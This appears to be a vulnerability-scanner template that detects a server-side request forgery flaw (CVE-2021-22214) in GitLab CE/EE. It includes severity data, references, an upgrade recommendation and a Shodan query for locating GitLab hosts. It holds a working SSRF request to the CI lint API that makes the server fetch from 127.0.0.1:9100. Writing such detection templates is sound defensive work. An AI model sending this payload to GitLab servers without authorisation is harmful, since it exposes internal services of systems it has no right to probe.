id: CVE-2021-22214 info: name: Gitlab CE/EE 10.5 - Server-Side Request Forgery author: Suman_Kar,GitLab Red Team severity: high description: | GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are: - CVE-2021-39935 - CVE-2021-22214 - CVE-2021-22175 remediation: | Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher). reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-22214 - https://nvd.nist.gov/vuln/detail/CVE-2021-39935 - https://nvd.nist.gov/vuln/detail/CVE-2021-22175 - https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html - https://docs.gitlab.com/ee/api/lint.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2021-22214 cwe-id: CWE-918 epss-score: 0.16007 epss-percentile: 0.95346 cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: gitlab product: gitlab shodan-query: http.title:"GitLab" tags: cve,cve2021,gitlab,ssrf http: - method: POST path: - "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true" body: | {"content": "include:\n remote: http://127.0.0.1:9100/test.yml"} headers: Content-Type: application/json host-redirects: true max-redirects: 3 matchers: - type: word part: body words: - "does not have valid YAML syntax" # digest: 4a0a004730450220259904226917fd70036fa1d45e8ce2832225d820ccca23daa07c54736b3b6063022100cdb0f423640993c3809d9994ba8636125cced55b663e26db802e2850cbfdef9a:922c64590222798bb761d5b6d8e72950